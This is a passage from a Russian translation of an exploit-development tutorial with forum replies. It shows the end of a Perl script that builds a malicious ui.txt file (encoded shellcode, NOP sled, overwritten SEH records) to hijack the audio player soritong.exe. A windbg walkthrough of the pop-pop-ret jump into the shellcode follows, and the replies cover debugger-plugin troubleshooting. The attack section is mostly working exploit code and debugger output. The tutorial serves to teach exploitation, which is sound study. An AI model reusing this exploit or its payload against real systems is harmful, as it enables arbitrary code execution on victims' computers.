"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48".
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48".
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43".
"\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b".
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37".
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46".
"\x4e\x36\x43\x46\x42\x50\x5a";

my $junk2   = "\x90" x 1000;

open(myfile,'>ui.txt');

print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;

Создайте ui.txt файл и откройте soritong.exe БЕЗ отладчика.

Теперь давайте посмотрим, что случилось «под капотом». Поместите контрольную точку в начало шеллкода и снова запустите soritong.exe под windbg:

Первое случайное исключение:

Стек (ESP) указывает на 0x0012da14

=> SE Handler указывает на 10018de8 (который является pop,pop,ret). Когда мы продолжим выполнять приложение, pop,pop,ret выполнит и вызовет другое исключение.

Когда это случится, “ EB 06 90 90 ” код будут выполнен (next SEH), и EIP укажет на 0012fd6c, который является адресом нашего шеллкода:

  • 41 41 41 41: последние символы буфера;
  • eb 06 90 90: next SEH, сделает переход на 6-байт;
  • e8 8d 01 10: текущий SE Handler (pop,pop,ret, который вызовет следующее исключение, заставив код пойти в следующий указатель SEH и выполнит “eb 06 90 90”);
  • cc eb 03 59: начало шеллкода (я добавил \xcc, который является контрольной точкой), в адресе 0x0012fd6c.

Вы можете посмотреть на процесс создания эксплойта в следующем видео:

https://www.youtube.com/watch?v=FYmfYOOrQ00

Также, вы можете посмотреть/посетить мой список видео (с этим и будущими эксплойтами из данного руководства)

Ссылки на отладчики и модули к ним:

© Translated by p(eaz from RDot.org

#2

У меня проблемы
The call to LoadLibrary(winext/msec.dll) failed, Win32 error 0n127
“Не найдена указанная процедура.”
Please check your debugger configuration and/or network access.

Windbg version: 6.12.0002.633 X86
OS WinXP x86 SP3

Спасибо

#3

Нашел причину вот MSEC.dll для Win XP SP3 –https://mega.co.nz/#!1Z9jjaBS!8GsYrUVesfU_lZ1GwntZREmGUUGlU3eyFey4ZWwbSXM

#4

Или скачать версию 1.0.6: https://msecdbg.codeplex.com/releases/view/28935

Если и это не помогает, то почитать здесь и здесь.